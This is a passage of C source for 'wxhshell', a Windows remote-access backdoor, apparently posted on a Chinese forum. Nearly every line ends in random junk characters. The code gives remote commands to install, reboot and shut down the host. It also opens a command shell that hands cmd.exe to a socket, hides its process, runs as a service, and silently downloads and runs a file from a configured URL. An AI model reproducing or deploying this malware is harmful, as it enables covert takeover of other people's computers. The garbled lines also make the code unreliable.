  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :VvJx]  
  } "x"y3v'  
  else { W4ygJL7 6  
b~L8m4L  
    switch(cmd[0]) { ss4<s 5:y  
  flr&+=1?D  
  // 帮助 qUuvM  
  case '?': { 1^HUu"Kt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q@6Je(H  
    break; yrgb6)]nm@  
  } HEMq4v4  
  // 安装 .15^c+j  
  case 'i': { QN'v]z  
    if(Install()) ZBf9Upg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9?T?S|^$F  
    else (F.vVldBy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ja Ot"iU.B  
    break; $(PWN6{\r^  
    } zB@@Gs>  
  // 卸载 OpT0V]k^"9  
  case 'r': { XY*KWO  
    if(Uninstall()) V!3.MQM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf:C B&u  
    else Jemb0Qv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z^?YTykH  
    break; ~p'DPg4  
    } S^/:O.X)c,  
  // 显示 wxhshell 所在路径 J]=2] oI2  
  case 'p': { w?db~"T  
    char svExeFile[MAX_PATH]; FE[{*8  
    strcpy(svExeFile,"\n\r"); 6lKM5,Oa  
      strcat(svExeFile,ExeFile); M,f|.p{,Y  
        send(wsh,svExeFile,strlen(svExeFile),0); .:(N1n'>1  
    break; `& (Fy  
    } NW=tZVQ<X  
  // 重启 uJX(s6["=  
  case 'b': { tc%0yr9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zt7Gf  
    if(Boot(REBOOT)) |:{H4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,l%SQCyj  
    else { ZR|cZH1}C  
    closesocket(wsh); (qQ|s@O  
    ExitThread(0); |vLlEN/S  
    } u}L;/1,B  
    break; &8^1:CcE  
    } GSh~j-C'  
  // 关机 4-dV%DgC  
  case 'd': { {k#RWDespy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4\?GA`@  
    if(Boot(SHUTDOWN)) C $r]]MSj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G'\x9%  
    else { *wY { ~zh  
    closesocket(wsh); iO?Sf8yJ:  
    ExitThread(0); kl90w  
    } ^^m3 11=  
    break; #ivN-WKCl  
    } 3|FZ!8D  
  // 获取shell z$q:Y g  
  case 's': { ncy?w e  
    CmdShell(wsh); aRh1Q=^@(4  
    closesocket(wsh); C*f3PB=H_  
    ExitThread(0); 'r2VWavT  
    break; 6IQkP9P(  
  } JL7"}^  
  // 退出 dAZh# i[  
  case 'x': {  XM" {"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gf|qc>j.b  
    CloseIt(wsh); B2uLfi$q  
    break; '+Gy)@c  
    } U $ bLt  
  // 离开 FKN!*}3  
  case 'q': { ;%V%6:5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yN Bb(!u  
    closesocket(wsh); -UhGacw  
    WSACleanup(); IRxFcLk  
    exit(1); 1Z+\>~8  
    break; =rrbS8To=  
        } fcC?1M[BP~  
  } >[U.P)7;  
  } Q5N;MpJ-  
:le"FFfk  
  // 提示信息 2' 8$I}h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pSLv1d"9{  
} D#~S< >u@  
  } BW61WH?  
tUp'cG  
  return; ]DaC??%w  
} Y8fahQ#  
ZMVQo -=  
// shell模块句柄 o@d+<6Um  
int CmdShell(SOCKET sock) 6a=Y_fma  
{ I'NE>!=Q  
STARTUPINFO si; ;~>E^0M  
ZeroMemory(&si,sizeof(si)); 96&Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i7m=V T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R4R SXV  
PROCESS_INFORMATION ProcessInfo; MDo4{7  
char cmdline[]="cmd"; hSvA dT]m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O+o4E?}  
  return 0; bLHj<AX#>|  
} #{t?[JUn  
;AwQpq>dy  
// 自身启动模式 P9RIX;A=  
int StartFromService(void) ;goR0PN  
{ U;_b4S:  
typedef struct ,3zF_y(*Y  
{ A/xWe  
  DWORD ExitStatus; =>0+BD  
  DWORD PebBaseAddress; #] @<YKoV{  
  DWORD AffinityMask; <Rl:=(]i~  
  DWORD BasePriority; V`n;W6Q17  
  ULONG UniqueProcessId; -UPlQL  
  ULONG InheritedFromUniqueProcessId; 3]X9 z  
}   PROCESS_BASIC_INFORMATION; Jhyb{i8RR  
G|p3NhLgO=  
PROCNTQSIP NtQueryInformationProcess; ~4Gs\U:!Q  
MWHGB")J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nA\9UD<G.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4l2xhx  
es` A<  
  HANDLE             hProcess; n tfwR#j  
  PROCESS_BASIC_INFORMATION pbi; Vo\RtM/6{  
#0hX'8];(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nVTCbV  
  if(NULL == hInst ) return 0; kJJUu  
n>w/T"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WG{mg/\2(C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]J t8]w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9 pGND]tIi  
2ja@NT  
  if (!NtQueryInformationProcess) return 0; M =!RJ%6f  
u7e g:0Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e*Gm()Vu,  
  if(!hProcess) return 0; e$E~@{[1)  
(X rrnoz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Q#eu~R  
6!,Am^uXM  
  CloseHandle(hProcess); JYbE(&l%de  
0RLyAC|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ch1+YZG  
if(hProcess==NULL) return 0; ;?y*@ *2u  
_d$0(  
HMODULE hMod; : .-z) C}  
char procName[255]; yW$ja|^ E  
unsigned long cbNeeded; *|f&a  
wXc"Car)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ERW>G {+  
j;tT SNF  
  CloseHandle(hProcess); P}%0YJ$6  
J {gqm  
if(strstr(procName,"services")) return 1; // 以服务启动 Sd3KY9,  
&AMW?vO  
  return 0; // 注册表启动 ZwLD7j*)  
} 0.}Um  
Ufz& 2  
// 主模块 LiyEF&_u  
int StartWxhshell(LPSTR lpCmdLine) hSZ0 }/  
{ :%dIX}F  
  SOCKET wsl; wo>srZs  
BOOL val=TRUE; EBY=ccGE{  
  int port=0; !OJ@ =y`i  
  struct sockaddr_in door; ,t+5(qi  
S^@I4Z  
  if(wscfg.ws_autoins) Install(); mGjxc}  
~HwY?[}!m  
port=atoi(lpCmdLine); rx*1S/\PPc  
8+&] q#W3  
if(port<=0) port=wscfg.ws_port; C^@.GA  
h^P>,dy0  
  WSADATA data; cJ G><'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g<[_h(xDeG  
41<.e` {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S8O^^jJq;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7-M$c7S  
  door.sin_family = AF_INET; g8yWFqE!T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wX6VapFboI  
  door.sin_port = htons(port); u"K-mr#$[o  
}2.^n{Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !8"516!d|p  
closesocket(wsl); /3*75  
return 1; x@F"ZiYD@O  
} G 1{F_  
8k$iz@e  
  if(listen(wsl,2) == INVALID_SOCKET) { ,Ty>sZ#/fz  
closesocket(wsl); )* @Oz  
return 1; D<[4}og&]  
}  J9oGw P  
  Wxhshell(wsl); R>"E Xq  
  WSACleanup(); A/W-'%+`  
Q{Gi**<  
return 0; #,O<E@E  
;T}#-`O_Im  
} l1~>{:mq  
4WnB{9 i`I  
// 以NT服务方式启动 YF=@nR$_~j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k/vE|  
{ Q)}sX6TB  
DWORD   status = 0; W'\{8&:!  
  DWORD   specificError = 0xfffffff; "v-\nAu  
p+ymt P F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OHzI!,2]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S]Gw}d]4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cO2 .gQo'  
  serviceStatus.dwWin32ExitCode     = 0; ]Au78Yom  
  serviceStatus.dwServiceSpecificExitCode = 0; f/ 9]o  
  serviceStatus.dwCheckPoint       = 0; >2 gemTy  
  serviceStatus.dwWaitHint       = 0; vN%zk(?T  
n 5NkjhP~Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )< ~1AL  
  if (hServiceStatusHandle==0) return; OGNjn9av  
Vtm5&-  
status = GetLastError(); :N#gNtC)b  
  if (status!=NO_ERROR) ;JpU4W2/  
{ I<*U^e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dL>0"UN}-  
    serviceStatus.dwCheckPoint       = 0; b0]y$*{j  
    serviceStatus.dwWaitHint       = 0; H~+D2A  
    serviceStatus.dwWin32ExitCode     = status; !`vm7FN"u  
    serviceStatus.dwServiceSpecificExitCode = specificError; ARW|wXhyf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -^8gZk/(W  
    return; t &u,Od  
  } $Q1:>i@I|g  
@R>4b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +nRO<  
  serviceStatus.dwCheckPoint       = 0; mq~7v1kw  
  serviceStatus.dwWaitHint       = 0; u>H^bCXI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); De[!^/f;T  
} JoA^9AYhR  
8^;[c  
// 处理NT服务事件,比如:启动、停止 Kz!-w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p^+k:E>U  
{ i/*&;  
switch(fdwControl) \cvui^^n  
{ @* L^Jgn  
case SERVICE_CONTROL_STOP: 0@1AH<  
  serviceStatus.dwWin32ExitCode = 0; \1f$]oS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H$Fz{[[u  
  serviceStatus.dwCheckPoint   = 0; uk_?2?>-5  
  serviceStatus.dwWaitHint     = 0; {mF:m5e  
  { N(Us9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [i.2lt#]  
  } %MgQ.  
  return; k( 1rp|qf  
case SERVICE_CONTROL_PAUSE: `!5 ZF@Q>e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0R<@*  
  break; r ,|T@|{  
case SERVICE_CONTROL_CONTINUE: AV AF!Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L~Epd.,Dt  
  break; :*#AJV)  
case SERVICE_CONTROL_INTERROGATE: pox\Gu~.0  
  break; .Xh^L  
}; "$PbpY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _S/bwPj|~y  
} "ji4x y  
E=GCq=Uw  
// 标准应用程序主函数 JAen= %2b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0)-l9V  
{ vn~DtTp/  
~\}%6W[2  
// 获取操作系统版本 S0 M-$  
OsIsNt=GetOsVer(); ^]^Y~$u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X1!m ]s(I  
Ua\g*Cxh  
  // 从命令行安装 2pH2s\r<UJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Z NYR'  
<6U{I '  
  // 下载执行文件 jE2k\\<a  
if(wscfg.ws_downexe) { {w}PV5<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F4>}mIA  
  WinExec(wscfg.ws_filenam,SW_HIDE); A1Mr  
} Jz 'm&mu  
%I;ej{*c  
if(!OsIsNt) { J6_H lt  
// 如果时win9x,隐藏进程并且设置为注册表启动 SQWwxFJ  
HideProc(); "m0>u,HmI  
StartWxhshell(lpCmdLine); @~'c(+<3  
} 8Z:NT_Ss  
else uu1-` !%  
  if(StartFromService()) ~UB@IV6O  
  // 以服务方式启动 ~HI|t2C  
  StartServiceCtrlDispatcher(DispatchTable); CT3wd?)z`  
else J:)Q)MT24:  
  // 普通方式启动 }3j/%oN.(  
  StartWxhshell(lpCmdLine); {HNGohZt  
C0z E<fl  
return 0; <a2t"rc  
}
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只看该作者 1 发表于: 2006-10-10
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